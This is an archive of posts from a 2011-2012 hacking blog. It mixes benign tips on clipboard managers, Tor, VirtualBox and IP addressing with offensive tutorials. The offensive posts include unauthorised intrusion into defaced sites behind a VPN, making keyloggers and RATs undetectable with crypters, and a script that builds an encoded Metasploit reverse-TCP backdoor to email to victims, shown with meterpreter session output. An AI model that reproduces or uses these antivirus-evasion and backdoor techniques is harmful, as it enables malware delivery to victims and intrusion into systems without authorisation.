Security Labs -->

Site Restoration Tutorial by Suriya Prakash

2012-08-12T23:35:00.001+05:30

As all you might already know Independence day is just a few days away.

And we know for a fact that certain people will be attacking and defacing Indian sites .And this tutorial is aimed at helping you in restoring a hacked site.I am not gonna explain everything fully cause it will become TOO BIG ,I will just point you in the right direction :) )

Note: This is NOT a tutorial for webadmins this is for the hackers who are interested in restoring a site (As this TUT considers the reader had 0 permission when they start )

Also some the methods I would be suggesting will be fairly aggressive so if you don't agree with me your free to close this page :D

1. GET BEHIND A FREAKING VPN !!

Yes its true that your just trying to help but that does not mean that you should expose yourself

The site admin is not gonna care who you are ,if they are gonna complain to the cyber police they are gonna give them ALL THE LOGS. And all you know that India's "Cyber Police" are mostly skids and noobs ,and they will put the blame YOU cause you will be easier to arrest than a person from an another country

This is the sad truth ACCEPT it , DO NOT expect fame and glory for what your gonna do

2. Know what you are dealing with

Before you start there are a few questions you should ask yourself

Is this site worth my time ?

Always give priority to the major sites first,only go to the smaller sites when your done with the the major ones.
Is it a Index deface or just www.site.com/hackpage.html ?If its the second one then its a low priority hack

Is the site in a dedicated or shared server ?

Knowing which type makes all the difference

Does it look like the hacker rooted it ?

When its shared hosting and mass defacing has been done then its probable that the server has been rooted

3. Gain access

First thing to do is to see if the hacker had left behind any shells

places to look are

/image /admin/ /themes/ /cgi/ etc... If you cant find manually

Here is a good plugin for Uniscanner --> http://uniscan.sourceforge.net/?p=161

Cant Find shell ? its ok ,proceed to next step

Now look into all the application level vulnerabilities

i.e XSS, RFI , LFI , SQLi --> most common

Figure out how the hacker got in and exploit the site using the same method

Still NOTHING?

If this does not work ,look on all the ports and see if the server is running a outdated/vulnerable service

And gain system privileges through exploiting the service

Somehow get a shell or a backdoor up

Don't forget that if the attacker found a way to get in YOU CAN TOO !! :D

4. Removing Backdoor's

First before you restore you have to make sure that you remove ALL backdoor's left by the hacker.

Same as last time you can make sure that you remove all the shells using multiple methods

http://uniscan.sourceforge.net/?p=161

http://25yearsofprogramming.com/blog/2010/20100315.htm

http://ketan.lithiumfox.com/doku.php?id=phpshell_scanner

http://25yearsofprogramming.com/php/findmaliciouscode.htm

https://github.com/Neohapsis/NeoPI

Note: some of these need you to install a few dependencies

If you have access to terminal you can use this

 grep -RPl --include=*.{php,txt,asp} "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" /var/www/

The above command says:

Check files with extensions php or txt or asp only. You can add in more.
The pattern matching strings would be "passthru", shell_exec and so on. You can add/remove patterns.
The directory from where a recursive search has to be started. In this case it is /var/www/

5. The actual Restoring

See if the hacker has renamed the original index file as index1.php or indexold.php etc

Then its just a matter of removing the deface file and renaming the original (also make a backup to be safe)

If you cant see the original files then will have to use data recovery methods (need escalated privileges)

http://www.linuxforu.com/2011/09/recover-deleted-files-in-linux/

If all these methods fail then replace the index with a blank white page or a "Maintenance" page

6.Prevent future attacks on the server

Now that you know the method the attacker used to gain access you should start to fill up the security holes

A few tips:
If the server was rooted then update kernel and change the root user password and remove all new added accounts

Firewall:
If it is a shared server and lots of sites are vulnerable to sql injection then I suggest installing an uptodate WAF to keep away the skids (there is still a possibility that it can be bypassed )

Some of recommended WAF's
http://www.modsecurity.org/download/
http://www.aqtronix.com/?PageID=167 --> IIS

Admin Page's:

If the admin page is vulnerable to shell upload then rename the admin login file to something like "randomtextadminpage1231ew8712.php/.html" to stop the attacker from entering the site again

Trolling the hacker:

Most of the times Index files are like this
IIS: default.asp/.aspx
Apache:Index.php/.html

But this is easily changeable in Apache by editing the .htaccess file
http://www.javascriptkit.com/howto/htaccess6.shtml

So you can make the index file as something like 12d9au.html so when the attacker replaces the index.php/.html file the site will still load our 12d9au.html as the default file :D

99% of attackers will go mad trying to figure it out XD ROFL
Dont forget to leave a .txt file with all the vulnerabilities so that the site admin can read it (he/she is the only one who can fix it permanently)

And if you ever fail in restoring a site then dont worry it is not a shame to you or your country ... ALL THE BLAME GOES TO THE ADMIN

------------------------------------------------------------------------------------------------------------

PS: Please point out in the comments if you think something needs to be corrected or added to this tutorial (it would be awesome if you provide exact text) as we should all work together to protect OUT cyber space

Made by Suriya
Team Indishell

Contact Suriya on Facebook at This Link

This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.

Re FUD using CliSecure and Amuse Crypters

2012-07-21T17:16:00.002+05:30

In World of crypting and Encoding & Fud'ing You need to learn new things everyday
Let me give you an Basic Information

There are mainly two type of FUD :-
1) FUD scantime :- Bypass AV while Scanning
2) FUD Runtime :- Bypass AV file at Time of Execution

In Todays Demo there are three Steps
Lets Begin ;)

1. Making an Windows Platform Keylogger/RAT/ Botnet or Malware :P
Tools like Darkcommet, Prorat , Istealer, cybergate etc will help you.. This tutorial is mainly for FUDing so lets skip this part :))

2. Crypt it with some good free crypter like : Amuse Crypter

Sometime ,sandboxie restrict it.You may run without sandboxie,the best way

(make sure you have system restore such as deepfreeze)

By here now, Your Malware is simply crypted, it wont be FUD so as last step will do the needful.

Download : AmuseCrypter

3. Refud by some Good Re-FUDing tool : CliSecure

Download Clisecure

:Video Tutorial:

AFTER REFUD: Results

Report Date: 07.07.2012 07:07:31
Link To Scan: http://elementscanner.com//?RE=48eba8d1a81a6b19250781fa26af4215
File Name: vv.Exe
File Size: 5574144 bytes
MD5 Hash: 239da3678465ef76efe70a7beb1a4743
SHA1 Hash: e41d94cf7d83f83073ee8f319cb99634c8dcd85b
Status: Infected
Total Results: 1/35
AVG Free - Clean
ArcaVir - Clean
Avast 5 - Clean
AntiVir (Avira) - TR/Dropper.Gen
BitDefender - Clean
VirusBuster Internet Security - Clean
Clam Antivirus - Clean
COMODO Internet Security - Clean
Dr.Web - Clean
eTrust-Vet - Clean
F-PROT Antivirus - Clean
F-Secure Internet Security - Clean
G Data - Clean
IKARUS Security - Clean
Kaspersky Antivirus - Clean
McAfee - Clean
MS Security Essentials - Clean
ESET NOD32 - Clean
Norman - Clean
Norton Antivirus - Clean
Panda Security - Clean
A-Squared - Clean
Quick Heal Antivirus - Clean
Rising Antivirus - Clean
Solo Antivirus - Clean
Sophos - Clean
Trend Micro Internet Security - Clean
VBA32 Antivirus - Clean
Vexira Antivirus - Clean
Zoner AntiVirus - Clean
Ad-Aware - Clean
BullGuard - Clean
Immunet Antivirus - Clean
K7 Ultimate - Clean
VIPRE - Clean

AFTER REFUD

How to Retrieve Clipboard History in Windows

2012-03-08T00:38:00.003+05:30

Ever copied a code snippet or text from the web and forgot to paste it before you copied something else? Well, all of us will have an experience of something like this, where we want to desperately retrieve those information that was once copied to the clipboard. But since Windows clipboard will only remember the last item that was copied onto it, it would seem impossible to recover the information that was copied earlier. However, this problem can be solved using an alternative clipboard manager in place of the default one.

In this post you will find a few such alternative clipboard managers for Windows using which it would be possible to save and retrieve every piece of information that was copied to the clipboard. Here’s a quick list:

1. Clipdiary :-

This tool is a powerful clipboard manager which will store every piece of information that was copied to the clipboard including text, images or any other file. Clipdiary automatically loads upon Windows startup and maintains a database to store the history of all copied items.

This makes it possible to retrieve the information that was once copied to the clipboard, be it the last hour or the last week. Clipdiary is a shareware tool which comes with a 30 day fully functional evaluation period.

Download Clipdiary

2. ClipMagic :-

ClipMagic is similar to Clipdiary but includes a few extra features that could seem handy for advanced users. The following are some of the extra features of ClipMagic that are not present in Clipdiary:

Categorize/organize your clips. You can also create filters/rules for your incoming clips
You can store/categorize your ideas to research fast
Assign often used text like email signatures to hotkeys

Download ClipMagic

3. Ditto :-

Ditto is a powerful alternative to the default Windows clipboard manager which is an open source tool. It keeps track of all the copied items such as text, images and other files so that you can retrieve them whenever necessary. The following are some of the highlights of Ditto:

Assign hotkeys to frequently used clippings
Search and organize the clippings based on task or project
Supports unicode so that you can copy foreign and non-standard characters without any issues
Get a preview of all the copied items including thumbnails of images just by pressing the assigned hotkey
Ditto comes as a freeware so that you can enjoy all of it’s features free of cost

Even though Ditto is a freeware, it is still comparable to the two shareware tools discussed earlier. So in my opinion Ditto is always the first choice. You may still download and try all the three and keep the one that you like!

Download Ditto

I hope you enjoyed this post! Post your feedback through comments. Cheers

Source :- Go Hacking

Stay Updated, Stay Protected

Computer Virus Classified

2012-02-03T19:34:00.002+05:30

No matter how careful you might be, chances are, at one time or another, you will find your computer infected with a virus. If you are a frequent Internet user and you often download videos, music and other files from online, the chances of you picking up a trojan, worm, or other virus are almost assured. Thankfully, there are many great virus protection programs but that doesn’t mean you shouldn’t have an idea of some of the common computer viruses that are currently going around.

1. Encrypted Viruses – The encrypted virus is probably the most difficult kind of bug to detect and the most difficult to stop. You may accidentally have downloaded one of these bugs and before you know it, your entire computer can be infected. Many top virus protection programs miss encrypted viruses because these bugs use a different form of encryption every time. When the bug wants to run wild, it decrypts itself. In most cases, your virus protection can then identify it and stop it.

2. Secret Viruses – These types of viruses will make changes to files on your computer, or completely replace files, but then try to trick your computer and your anti virus program into thinking that the originals are being used. Most advanced virus protection programs can stop these common computer viruses dead in their tracks.

3. Time Delay Viruses – These types of viruses take a much slower, more disciplined path towards ruining your computer. Instead of instantly trying to take over your computer the moment you download them, they will wait and slowly infect files bit by bit. You may not have been online for days but then suddenly find yourself with an infection. These common computer viruses are the reason why you should run your virus protection every few days, just in case.

4. The Anti-Virus Virus – Believe it or not, there are viruses out there that do nothing more than attack your pre-installed anti virus program in hopes of disabling it so other viruses can then be downloaded. This is why many people have a virus protection program as well as a separate anti-spyware or anti-malware program on their computer.

5. The Multi-Headed Virus – This is one of the most nefarious bugs on the whole Internet. Not only are there parts of this virus that will attach themselves to .exe files on your computer, but it will also affect your computer’s start up so that you begin running the virus every time you turn your computer on automatically.

6. The Misdirection Virus – This type of virus is downright scary. It has a built in subprogram that is made to give false readings to your virus protection software. You think you have a bug in one directory, when, in fact, the virus is busy harming your computer in a whole other area.

7. A Cloning Virus – The cloning virus is an old fashioned type of bug. When you download it, it will quickly create duplicates for .exe files you have on your computer, hoping that you’ll click on it when you really mean to click on a healthy program you already have.

8. The Author Virus – When you download a virus, it usually attaches itself to a program and then runs when you run that program. The Author Virus, on the other hand, finds an .exe file and actually deletes and rewrites code so that the program is changed. Few common computer viruses run this way since the level of virus needs to be so sophisticated.

9. The Bad Penny Virus – The very first computer virus to ever hit the Internet was a Bad Penny virus. This is a bug that automatically passes itself on to everyone on a network or on the Internet unless something stops it. This was the whole reason why firewalls were invented.

10. When most of us think of viruses, we think of PC’s running Windows software. However, there are a handful of bugs out there for the Mac.

11. Rewriting Virus – This bug made a habit out of rewriting some of your most needed files, as well as filling up your hard drive with all sorts of invisible files you couldn’t normally see.

12. The Melissa Virus – This was a bug that hit everyone, both PC users and Mac users. It would automatically email itself to other people without permission. It can be extra harmful if you use a private mail server at your place of employment. The Melissa virus has gone down in history as one of the most common computer viruses of all time.

Thanks to : www.TopChoiseReview.com
Stay Updated, Stay Protected :))

How to Disable Error Report In Window

2012-01-26T21:54:00.000+05:30

Hey to all friends today i am going to post about how can you disable error report in windows xp and vista.

Microsoft’s Error Reporting in windows sometimes is disturbing, most of us don’t want to send that error report because it’s of no use.
There’s an easy way to disable Microsoft error report in windows.

Disable Microsoft Error report in Windows XP :

1) Open Control Panel (Start > Control Panel)
2) Open the Problem Reports & Solutions applet Under advanced options and disable error reporting.

Disable Microsoft Error report in Windows Vista :
1) Right click on my computer (Desktop) and click properties
2) Click the Advanced Tab
3) You’ll see a “Error reporting” button at the bottom, click it
4) Select Disable Error Reporting.

And That's It Now you’re done….!

Stay Updated, Stay Protected :))

Easy Bypass AV and Firewall

2011-12-11T18:38:00.001+05:30

Security Labs launch an automated Anti-Virus and Firewall Bypass Script BY team SecurityLabs and The Hacker News :D (Thanks to Astr0baby)

Its an Article on how can we create a fully undetectable metasploit payload,

This is an Modified and Stable Version in order to work with Backtrack 5 distribution.

Code:

root@bt:/pentest/exploits/framework# chmod + vanish.sh 
root@bt:/pentest/exploits/framework# ./vanish.sh 
************************************************************
    Fully Undetectable Metasploit Payload generaor Beta     
        Original Concept and Script by Astr0baby            
     Stable Version of Script is Edited by Vanish3r         
    Video Tutorial by Vanish3r - www.securitylabs.in        
 Powered by TheHackerNews.com and securitylabs.in           
************************************************************

# Runtimes

In order to be able to compile the generated payload we must need this package:- Mingw32 gcc-runtime

which you can install by,

Code:

root@bt:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils

-------------------------------------------------------------------------------------------------------------------------------------------

After the installation we must move our shell-script - Vanish.sh - to default Metasploit folder (/pentest/exploits/framework) and execute it:

Code:

root@bt:/pentest/exploits/framework# chmod + vanish.sh 
root@bt:/pentest/exploits/framework# sh vanish.sh 
************************************************************
    Fully Undetectable Metasploit Payload generaor Beta     
        Original Concept and Script by Astr0baby            
     Stable Version of Script is Edited by Vanish3r         
    Video Tutorial by Vanish3r - www.securitylabs.in        
 Powered by TheHackerNews.com and securitylabs.in           
************************************************************
Network Device On your Computer :
 lo:
 eth2:
Which Interface to use ?  eth2
What Port Number are we gonna listen to? : 443 
Please enter a random seed number 1-10000, the larger the number the larger the resulting executable : 7000
How many times you want to encode ? 1-20 : 14
Current Ip is : 192.168.93.1
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

[*] x86/shikata_ga_nai succeeded with size 452 (iteration=6)

[*] x86/shikata_ga_nai succeeded with size 479 (iteration=7)

[*] x86/shikata_ga_nai succeeded with size 506 (iteration=8)

[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)

[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)

[*] x86/shikata_ga_nai succeeded with size 587 (iteration=11)

[*] x86/shikata_ga_nai succeeded with size 614 (iteration=12)

[*] x86/shikata_ga_nai succeeded with size 641 (iteration=13)

[*] x86/shikata_ga_nai succeeded with size 668 (iteration=14)

backdoor.exe ...generated in seclabs subfolder
backdoor.exe sha1checksum is .. 94da3a4888d8158c9dafa51e2d35528d99a1e871 backdoor.exe
      starting the meterpreter listener...

Vanish.sh will create a Sub folder called "seclabs" and you will find your backdoor.exe there :)

# Recommended :
Seed Number = 7000 and
Number of Encode = 14

# Sending to Victim :
You can Easily send by Email as it is Undetectable by Most of Anti-Virus or any other way
After Execution on Victim, Now our Metasploit console Shows Connection :))

Code:

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.200.22
LPORT => 443
[*] Started reverse handler on 192.168.93.1:443
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.93.2
[*] Meterpreter session 1 opened (192.168.93.1:443 -> 192.168.93.2:55865) 
 
meterpreter > ps
 
Process list
============
 
 PID  Name            Arch  Session  User                      Path
 ---  ----            ----  -------  ----                      ----
 12   services.exe    x86   0        NT AUTHORITY\INTERACTIVE  C:\windows\system32\services.exe
 17   explorer.exe    x86   0        NT AUTHORITY\INTERACTIVE  C:\windows\system32\explorer.exe
 33   winedevice.exe  x86   0        NT AUTHORITY\INTERACTIVE  C:\windows\system32\winedevice.exe
 8    24382.exe       x86   0        NT AUTHORITY\INTERACTIVE  Z:\pentest\exploits\framework\ShellCode\24382.exe
 
meterpreter > sysinfo
Computer        : bt
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

# Note:
By default Script Generates Reverse TCP Payload but you can change it by some modifications in Script [vanish.sh]
--------------------------------------------------------------------------------------------------------------------------
Proof Of Concept - Virus Scan Report of Backdoor :

http://virusscan.jotti.org/en/scanresult/a974be8a357cf4f13df8e94ca89ee4ecb89fb1da

--------------------------------------------------------------------------------------------------------------------------

# Get Vanish.sh

Download Link of Vanish.sh : Click Here

File Info :

Script Name : Vanish.sh

Size : 3.3 KB

Pastebin Version : http://pastebin.com/7xmvGnks

--Regards,

Team SecurityLabs.in

VanishCrypt – Virtual Encryption Tool

2011-11-02T23:06:00.003+05:30

VanishCrypt – Virtual Encryption Tool by SecurityLabs.in
It's a Freeware Utility to Secure Your Data.

Features:

> VanishCrypt? is app with which you can create a virtual disk contains your secret files.

> Data is protected with a Encrypted Password.

> The files are completely unaccessible without the correct password!

> Stored files are encrypted with strong CryptoAPI.

Additional Features:

> It have "Advanced Mode" with you can create a real virtual drive accessible in Explorer that contains your files stored in the vdisk image.

> It uses Win32 API for I/O operations for a great speed improvements

File info:
Report date: 2011-11-02 14:23:16 (GMT 1)
File name: vanishcrypt-exe
File size: 8.33 Mb
Space Required 11.9 Mb
MD5 hash: 76be0d16e0e32cb46fda68899547e320
SHA1 hash: f6074676ef6e784410f23198b79099708fbd6696
Status: Clean
Link: http://goo.gl/bWYAt

Supported Operating systems:
VanishCrypt supports Win9x, WinNT, Win2000, WinXP, WinVista and Win7 and Linux under wine.

Documentation is Present at: http://code.google.com/p/vanishcrypt/

Video Tutorial On usage of This Tool:

Download VanishCrypt : http://goo.gl/OZXYA

Download From BrotherSoft
Download From Google Code
Download From Softpedia

Report the bugs: securitylabs.in[at]gmail.com

Hope you will like our tool give Feedback and Suggestion..
mail us at info@securitylabs.in

Stay Updated, Stay Protected :))

Anonymous & Portable Browser TOR

2011-10-22T11:01:00.003+05:30

What is Tor?Tor is free software and an open network that helps you defend against a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security known as traffic n analysis

Why Anonymity Matters
Tor protects you by bouncing your communications around a distributed network of relays run by volunteers all around the world: it prevents somebody watching your Internet connection from learning what sites you visit, and it prevents the sites you visit from learning your physical location. Tor works with many of your existing applications, including web browsers, instant messaging clients, remote login, and other applications based on the TCP protocol.

How TOR works and Its Screenshot:-

Using Tor protects you against a common form of Internet surveillance known as "traffic analysis." Traffic analysis can be used to infer who is talking to whom over a public network. Knowing the source and destination of your Internet traffic allows others to track your behavior and interests. This can impact your checkbook if, for example, an e-commerce site uses price discrimination based on your country or institution of origin. It can even threaten your job and physical safety by revealing who and where you are. For example, if you're travelling abroad and you connect to your employer's computers to check or send mail, you can inadvertently reveal your national origin and professional affiliation to anyone observing the network, even if the connection is encrypted.

To download TOR Click HERE.

1. Click On Your Platform
2. Click on Download which is infront of " TOR Browser Bundle "

Thank you For Your Precious Visit.

Configure VM on your LAN IP network

2011-10-21T17:28:00.001+05:30

So, We have awesome Virtual Machine running in your local area network (LAN) and want to be able to forward a port from your broadband router so it can be accessed by somebody else.
So what to Do ??

Well Here is the Answer:-
In VMWare Workstation go to Edit -> Virtual Network Editor. Then use one of the unused VMNets or just use the top one that is bridged. In the menu below you will see several interfaces -> if you see more than one, that could for example be if you have both a cable and wireless Ethernet connection, Hamachi also pops up in there.

Like This :-

So go ahead and change that to the one that gives your host access to the LAN.

Also make sure that the IP settings on your VM are adequate, DHCP should work but if it doesn’t – try with a static setup in the same subnet as your host is (DNS should be the broadband router).

On Windows the useful commands to troubleshoot this would be: route print, ipconfig /all, ping

Sandboxie - Run Your Programs In An Isolated Space

2011-08-30T13:28:00.007+05:30

Sandboxie runs your programs in an isolated space which prevents them from making permanent changes to other programs and data in your computer.

What is Sandboxie?

Sandboxie is very useful to check whether or not a program is infected, you can also use it to test out your botnet. Sandboxie runs your programs in an isolated space which prevents them from making permanent changes to other programs and data in your computer. Observe the animation below.

Benefits of the Sandboxie

Secure Web Browsing: Running your Web browser under the protection of Sandboxie means that all malicious software downloaded by the browser is trapped in the sandbox and can be discarded trivially.

Enhanced Privacy: Browsing history, cookies, and cached temporary files collected while Web browsing stay in the sandbox and don't leak into Windows.

Secure E-mail: Viruses and other malicious software that might be hiding in your email can't break out of the sandbox and can't infect your real system.

Windows Stays Lean: Prevent wear-and-tear in Windows by installing software into an isolated sandbox.

Download Sandboxie From Their Official Website

Using Sandboxie

Open Sandboxie: Start > All Programs > Sandboxie > Sandboxie Control

Sandboxie Control > Sandbox menu

Run File: Right-Click Suspected File > Run Sandboxed

Observe Folders: Sandbox Default Box > All files and Folders

You can disable the program from accessing the internet, navigate to Sandbox settings for the option.

Note: Keep in mind that if you receive any error, and your program is unable to run in Sandboxie, it is most likely that it's a virus and has implemented Anti-Sandboxie. DO NOT RUN IT OUTSIDE SANDBOXIE!

You can tell that a program is sandboxed because its window title bar contains additional Sandboxie [#] indicators

Once you are done with Sandboxie, Right-Click on the Sandbox and chose Terminate Programs. Also remember to empty your SandBox after every use by Right click > Delete Contents.

So use Sandboxie to run programs in a “safe” environment
Stay updated, stay Protected.

Keep Visiting Security Labs for more Updates.

Windows 8 Transformation Pack

2011-08-29T18:14:00.003+05:30

Get Windows 8 theme pack for Windows 7 to get a feel of Windows 8.

The Microsoft’s next – Windows 8 is on its way soon to hit the markets. But some Windows enthusiasts have already begun creating new themes and transformation packs for some crazy Windows followers.

Well, if you are one among those and want to have a feel of Windows 8, here is a cool Windows 8 Theme pack for your Windows 7

Some of Screen are Shown here. Click on image for enlarged view :)

New Windows Logo and Tag line :

All wallpapers carry the new Windows logo that is leaked with Microsoft tag line “Be what’s next.”

How to install it ?

1> Download the pack to your computer. And Extract it

2> Once downloaded, double-click on the Application file to install it.

3> After installation, Reboot your computer

Download link :

http://www.mediafire.com/?6u1h9yhzmicid6b

Stay updated, stay Protected.
Keep Visiting Security Labs for more Updates.

Windows Password recovery - Explained

2011-08-29T15:33:00.014+05:30

Recover Your Windows Passwords :-

If you are not a computer technician, Then you may try to use the software programs which may suit you Properly.

I’ve found that Windows Password Recovery Tool is the most effective. The program can easily reset the password to “Blank” without reformatting or reinstalling your system. Follow these steps:

Download Windows Password Recover Tool 3.0
Burn your Windows Password Recovery Tool 3.0 CD.
Insert newly created CD in your CD drive and reboot your computer.
Select Windows installation to be processed:

Now Select your Windows installtion Drive

2. Now Select the Account of which you want to reset password

3. And now Finally Reset your lost password.

4. So The user’s password has been successfully reset

Now Simply Reboot your computer and Enjoy :D

Stay updated, stay Protected.

Keep Visiting Security Labs for more Updates.

VirtualBox Virtual Machine - Explained

2011-08-28T00:32:00.016+05:30

Welcome to SecurityLabs. Here I will explain how to set up a virtual machine and in this case it's VirtualBox.
There are many benefits to having a virtual box. It allows you to run another OS inside your current OS.

You can also use it to test viruses and keyloggers without having to worry about the infection spreading. Think of it as a disposable computer. Its type of Sandbox but on a much larger scale.

For this you will need:

Java VirtualBox
ISO file of your OS

Download And Install VirtualBox. You can download it from the official site.

Once installed, run VirtualBox and you'll be presented with the screen above. then Click on New

Now, choose your OS type and version. For this tutorial we will be setting up Windows XP 3 but this can be done with any OS. In the third screen shot, you need to assign a certain amount of RAM.

256 or 512 is enough for optimal performance.
Suppose you have 1gb RAM then give 256 to the virtual machine, so that your main OS will run smoothly.

Since we don't have any previous VDi [Virtual Encrypted Hard Drive] we can just create a new.

Now whether you chose dynamically expanding storage or fixed is totally up to you. If you choose expanding, the more you download on to your VM the more space it will take up on your HD. If you choose fixed then it's assigned a value and cannot be changed.

Now allocate size to Virtual machine, 8 to 10 gb be willl be fine

main setup done. Now Start the newly Created Virtual Machine

This is the important part. If you burned your ISO onto a disc then choose your actual computers disc drive letter. This will use the Windows XP CD/your current drive to install from. If you didn't burn, just choose the image file button and navigate and find your ISO. Follow the onscreen instructions and installation will begin.

And Finaly Your Virtual Box will start like the image Below :)

Finally Windows will start and present you with a Welcome screen

hope that this has helped some people. If you have any questionsthen please feel free to post below and I will answer A.S.A.P

Stay updated, stay Protected.

Keep Visiting Security Labs for more Updates.

How to Get Source Files from Website

2011-08-22T14:32:00.019+05:30

How to Get Source Files from Website.
Okay, from time to time, we need to get websites source for some reason.
A very easy tutorial. so lets start

Step 1: Download Wget from HERE

And put it on the root of your operating system, most people have "C" So go there and

make a new folder called wget. Inside only put the DOS command file.

Note: Click on Image to enlarge

Step 2: Open Command Box
In XP go to run and put CMD or command.com
In vista/7 Search for CMD and right click open as Administrator.

Step 3: In Cmd put "cd C:\wget"

No quotes and if your main drive is not C put it as your main drive.

Post this command "wget -r -A.jpg" See how it says .jpg, you can make it the extension your trying to get. Right now it would take any file with the extension .jpg and download it. If you changed the command to your need

Step4 No certificate Check

Now after that you can space once and put the website or link/server you want to take from.

It will check for safety and certificates

You Can Put --no-check-certificate

to Avoide it

Step 5: Now you're set !!

Just press enter and watch the magic happen. You can use multiple wget at a same time.

Step 6: Get Your Files

Now just go to the wget folder on C and open it. There should be a new folder of the website in there. Click on it and thats the files.

You will get all your downloded files in the same folder

Actual Working Of Code is like this :-

Code:
wget http://www.securitylabs.in

The file will be saved in /home/[user name]

NOTE: It will download just html, javascript etc... stuff like PHP won't be downloaded.

If you want to spider an entire website you can do this:

Code:
wget --spider http://securitylabs.in
It can be useful if you try to find information about a website and its vulnerabilities.

Stay updated, stay Protected.
Keep Visiting Security Labs for more Updates.

Check If Your Computer Is Been Hacked

2011-08-21T19:30:00.002+05:30

Many computer users go about each day not realizing their computer was compromised by a hacker. Maybe your computer has a certain file running on it that allows hackers to access your personal information at will. Either way there are steps you can take to do some spying on your own system to make sure your computer was not hacked.

NOTE: - Before doing these steps, close all downloads and web pages and running task like ms- word, Photoshop, games ets. But stay connected to internet.

Basics of Penetration Testing explained

2011-08-19T18:28:00.001+05:30

Stages of a Penetration Test

It for most penetration tests these are the main stages that will take place in order, each stages has a higher level of access and control over the system.

How to Stop Autorun Virus

2011-08-18T19:51:00.006+05:30

Sometime autorun virus attacks your pc and everything is crashed.
Actually speaking autorun.inf files are not virus, they are just medium to launch or trigger virus and commands.

Common Terms Of Cyber Security World

2011-08-17T22:36:00.006+05:30

If you are a newbie in Internet security, you have come to the right place. The following is information on some common terms used in Internet security. So next time you don’t have to scratch your head when someone uses these.

Firewall – is a system that acts as a barrier between your computer network and the Internet. A firewall controls the flow of information according to security policies.

Hacker – can be anyone specializing in accessing computer based systems for illegal purposes or just for the fun of it.

IP spoofing – is an attempt to access your system by pretending like another system. This is done by setting up a system with an IP address that you normally trust.

Sniffing – is the spying on electronic transmissions to access data. This mostly occurs in privately owned LAN networks connected to the web.

Trojan horse – a program pretending like useful software, while its actual strategy is to access, steal or destroy user data and access authorization. Apart from destroying information, trojans can also create a backdoor on your system for stealing confidential information.

Virus – is a program that attaches itself to a program or file. This allows it to spread across networks and cause damage to software and hardware. To operate, viruses require the execution of the attached file.

Worm - A worm is almost similar to a virus, except that it doesn’t need the execution of any executable file to get activated. It can also replicate itself as it travels across networks.

Thanks to Mr.Srikanth :))

Private and Public IP Addresses Explained

2011-08-17T22:19:00.001+05:30

Internet Protocol addresses are usually of two types: Public and Private.

If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place. In this post I will try to explain the difference between a public and a private IP addres in layman’s terms so that it becomes simple and easy to understand.

What are Public IP Addresses?

A public IP address is assigned to every computer that connects to the Internet where each IP is unique. Hence there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.

A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting webpages or services on the Internet. On the other hand a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet. Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.

You can check your public IP address by visiting www.whatismyip.com

What are Private IP Addresses?

An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):

10.0.0.0 – 10.255.255.255 (Total Addresses: 16,777,216)
172.16.0.0 – 172.31.255.255 (Total Addresses: 1,048,576)
192.168.0.0 – 192.168.255.255 (Total Addresses: 65,536)

Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other. Say for example, if a network X consists of 10 computers each of them can be given an IP starting from 192.168.1.1 to192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).

Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.

If the private network is connected to the Internet (through an Internet connection via ISP) then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.

You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.

Unlike what most people assume, a private IP is neither the one which is impossible to trace (just like the private telephone number) nor the one reserved for stealth Internet usage. In reality there is no public IP address that is impossible to trace since the protocol itself is designed for transparency.

Logic Test ~ Software Testing

2011-08-17T11:26:00.003+05:30

A university scholar, Mr. John Smith approaches his friend a software-testing guru telling him that he has a Bachelor in programming, and now would like to learn the software testing to complete his knowledge and to find a job as a software tester. After summing him up for a few minutes, the software-testing guru told him "I seriously doubt that you are ready to study software testing. It's the serious topic. If you wish however I am willing to examine you in logic, and if you pass the test I will help teach you software testing. "

C Program to Disable and Enable Usb Port

2011-08-17T11:17:00.002+05:30

In this post I’m going to show you how we can Disable and Enable USB Port. By blocking the usb port we can control whether user to access the machine or not.

Many schools and colleges have no pen drive rule, for that they are blocking the usb port. This trick will help us to open the blocked usb port.

This is very small and easy code, once the block usb program executed the computer will not recognize any inserted usb drive, but we can reverse it by unblocking the usb port.

This program tested on XP but not sure about vista & windows 7. You can try this program on your own computer, as I have given the unblock code also

Selecting Your First Programming Language

2011-08-17T10:08:00.005+05:30

